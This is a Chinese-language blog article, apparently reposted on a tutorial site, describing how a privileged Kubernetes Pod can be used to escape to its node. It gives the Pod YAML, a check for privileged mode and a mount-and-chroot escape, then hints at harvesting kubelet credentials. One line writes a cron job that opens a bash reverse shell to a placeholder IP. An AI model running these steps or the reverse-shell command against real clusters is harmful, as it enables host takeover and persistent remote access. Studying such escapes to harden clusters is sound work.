K8s攻击案例:Privileged特权容器导致节点沦陷

本文主要是介绍K8s攻击案例:Privileged特权容器导致节点沦陷,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

01、概述

特权容器(Privileged Container)是一种比较特殊的容器,在K8s中运行特权容器,需要将 Privileged 设为 true ,容器可以执行几乎所有可以直接在主机上执行的操作。

基于此,利用容器的特权配置可以获取容器所在节点的权限,甚至从节点权限提升至集群管理员权限。

02、攻击场景

编写yaml文件,在securityContext中加入参数,将privileged设置为true,使用特权模式运行Pod。

4eca78bef75e5b63a62d936c111890c9.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:name: pod1
spec:containers:- image: nginxname: pod1command: ['/bin/sh','-c','sleep 24h'] securityContext:privileged: true

02、攻击过程

(1) 判断是否特权模式

在容器中可以使用命令检测当前容器是否以特权容器启动,CapEff对应的掩码值在centos中为 0000001fffffffff ,在ubuntu中为0000003fffffffff。

基于以上,可以简单的通过一行命令,如果返回的是Yes说明当前是特权模式,如果返回No则不是。

cat /proc/self/status |grep -qi "0000001fffffffff" && echo "Yes" || echo "No"

5c3db377d27756fabb9312add7e8e182.png

(2)查看当前磁盘分区情况,获取宿主机分区

547afb6dc61b0e0431f126a1eddf9225.png

(3)将宿主机目录挂载到容器里,chroot进入宿主机系统,获取宿主机的权限。

ce99294b3fee615a0ad96f191c718d4a.png

(4)此时,也可以使用计划任务反弹shell。

echo '* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/12345 0>&1' >> /var/spool/cron/root

e3c38e7ac7b6aa06ccc07fa8d85c2e0c.png

(5)在Node节点上查找kubelet配置文件,一般情况下,开启了NodeRestriction准入插件,kubelet证书可用来查看pod信息,但是不能创建Pod。下载kubecrl命令行工具, 收集信息为进一步攻击K8s集群提供必要的条件。

f4a86b78ec4732672f9130480d7a69ae.png

这篇关于K8s攻击案例:Privileged特权容器导致节点沦陷的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/526896

相关文章

k8s容器放开锁内存限制问题

《k8s容器放开锁内存限制问题》nccl-test容器运行mpirun时因NCCL_BUFFSIZE过大导致OOM,需通过修改docker服务配置文件,将LimitMEMLOCK设为infinity并... 目录问题问题确认放开容器max locked memory限制总结参考:https://Access

通过Docker容器部署Python环境的全流程

《通过Docker容器部署Python环境的全流程》在现代化开发流程中,Docker因其轻量化、环境隔离和跨平台一致性的特性,已成为部署Python应用的标准工具,本文将详细演示如何通过Docker容... 目录引言一、docker与python的协同优势二、核心步骤详解三、进阶配置技巧四、生产环境最佳实践

MyBatis分页查询实战案例完整流程

《MyBatis分页查询实战案例完整流程》MyBatis是一个强大的Java持久层框架,支持自定义SQL和高级映射,本案例以员工工资信息管理为例,详细讲解如何在IDEA中使用MyBatis结合Page... 目录1. MyBATis框架简介2. 分页查询原理与应用场景2.1 分页查询的基本原理2.1.1 分

javacv依赖太大导致jar包也大的解决办法

《javacv依赖太大导致jar包也大的解决办法》随着项目的复杂度和依赖关系的增加,打包后的JAR包可能会变得很大,:本文主要介绍javacv依赖太大导致jar包也大的解决办法,文中通过代码介绍的... 目录前言1.检查依赖2.更改依赖3.检查副依赖总结 前言最近在写项目时,用到了Javacv里的获取视频

深度解析Java @Serial 注解及常见错误案例

《深度解析Java@Serial注解及常见错误案例》Java14引入@Serial注解,用于编译时校验序列化成员,替代传统方式解决运行时错误,适用于Serializable类的方法/字段,需注意签... 目录Java @Serial 注解深度解析1. 注解本质2. 核心作用(1) 主要用途(2) 适用位置3

Java 正则表达式的使用实战案例

《Java正则表达式的使用实战案例》本文详细介绍了Java正则表达式的使用方法,涵盖语法细节、核心类方法、高级特性及实战案例,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要... 目录一、正则表达式语法详解1. 基础字符匹配2. 字符类([]定义)3. 量词(控制匹配次数)4. 边

Python Counter 函数使用案例

《PythonCounter函数使用案例》Counter是collections模块中的一个类,专门用于对可迭代对象中的元素进行计数,接下来通过本文给大家介绍PythonCounter函数使用案例... 目录一、Counter函数概述二、基本使用案例(一)列表元素计数(二)字符串字符计数(三)元组计数三、C

SysMain服务可以关吗? 解决SysMain服务导致的高CPU使用率问题

《SysMain服务可以关吗?解决SysMain服务导致的高CPU使用率问题》SysMain服务是超级预读取,该服务会记录您打开应用程序的模式,并预先将它们加载到内存中以节省时间,但它可能占用大量... 在使用电脑的过程中,CPU使用率居高不下是许多用户都遇到过的问题,其中名为SysMain的服务往往是罪魁

Spring Boot 整合 SSE(Server-Sent Events)实战案例(全网最全)

《SpringBoot整合SSE(Server-SentEvents)实战案例(全网最全)》本文通过实战案例讲解SpringBoot整合SSE技术,涵盖实现原理、代码配置、异常处理及前端交互,... 目录Spring Boot 整合 SSE(Server-Sent Events)1、简述SSE与其他技术的对

MySQL 临时表与复制表操作全流程案例

《MySQL临时表与复制表操作全流程案例》本文介绍MySQL临时表与复制表的区别与使用,涵盖生命周期、存储机制、操作限制、创建方法及常见问题,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随小... 目录一、mysql 临时表(一)核心特性拓展(二)操作全流程案例1. 复杂查询中的临时表应用2. 临时